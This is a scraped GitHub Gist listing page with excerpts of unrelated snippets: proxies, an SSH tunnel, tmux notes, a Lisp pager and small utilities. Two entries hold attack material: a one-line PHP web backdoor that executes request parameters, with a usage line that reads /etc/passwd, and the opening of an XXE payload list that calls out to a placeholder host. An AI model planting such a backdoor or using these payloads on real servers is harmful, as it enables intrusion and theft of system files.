Skip to content

Instantly share code, notes, and snippets.

@atdt
atdt / README
Last active December 22, 2020 12:53
A minimal ssh-agent for using a smartcard with PIV for public-key authentication with OpenSSH through PKCS11.
org.wikimedia.ssh-pkcs11-agent.plist -> ~/Library/LaunchAgents
OPENSC_LIBS=/usr/local/Cellar/opensc/0.15.0/lib
ssh-add -s $OPENSC_LIBS/opensc-pkcs11.so
@glider-gun
glider-gun / less.ros
Created December 25, 2015 18:34
ncursesライブラリバインディングのcl-charmsを使って less コマンドのようなものを作ってみる
#!/bin/sh
#|-*- mode:lisp -*-|#
#|
exec ros -Q -- $0 "$@"
|#
(ql:quickload :cl-charms :silent t)
(defun read-file (fname)
"return lines in fname"
(with-open-file (s fname)
@campaul
campaul / tarnish.rs
Created December 11, 2015 01:52
Simple HTTP proxy in Rust.
/*
Simple HTTP proxy in Rust. Hard coded to proxy rust-lang.org.
*/
extern crate hyper;
use std::io::Read;
use hyper::Client;
use hyper::header::Connection;
@pn11
pn11 / tmux_and_xsel.md
Last active October 18, 2021 11:05
リモートのtmuxのコピーモードとクリップボードを共有する

リモートのtmuxのコピーモードとクリップボードを共有する

  • ローカルマシン: Mac (iTerm2)
  • リモートマシン: Linux (ROOT権限なし)

という状況でtmuxのコピーモードでコピーしてきたものをMacで扱いたい。

C-b zでズームしてからoptionキー押しながらマウスでコピーでもいいんだけど(iTerm2のみ?、ズームしないと複数行コピーするときに隣のペインも選択してしまう)、キーボードだけでやりたい。そこでxselを使う。

@kylewlacy
kylewlacy / cartesian_product.rs
Created November 17, 2015 07:28
Cartesian product function in Rust
/// Given a vector containing a partial Cartesian product, and a list of items,
/// return a vector adding the list of items to the partial Cartesian product.
///
/// # Example
///
/// ```
/// let partial_product = vec![vec![1, 4], vec![1, 5], vec![2, 4], vec![2, 5]];
/// let items = &[6, 7];
/// let next_product = partial_cartesian(partial_product, items);
/// assert_eq!(next_product, vec![vec![1, 4, 6],
@yowu
yowu / HttpProxy.go
Last active March 26, 2025 05:23
A simple HTTP proxy by Golang
package main
import (
"flag"
"io"
"log"
"net"
"net/http"
"strings"
)
@iamralch
iamralch / sshtunnel.go
Last active August 21, 2024 05:15
SSH tunnelling in Golang
package main
import (
"log"
"bufio"
"time"
"os"
"fmt"
"io"
"net"
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@staaldraad
staaldraad / XXE_payloads
Last active May 5, 2025 16:10
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@tristanwietsma
tristanwietsma / term2gif.sh
Created August 27, 2014 14:53
Record terminal session to GIF
#!/bin/bash
TIMING=$1
SCRIPT=$2
W=$WINDOWID
rm -rf /tmp/script-replay-gifs/
mkdir /tmp/script-replay-gifs/
t=$(mktemp)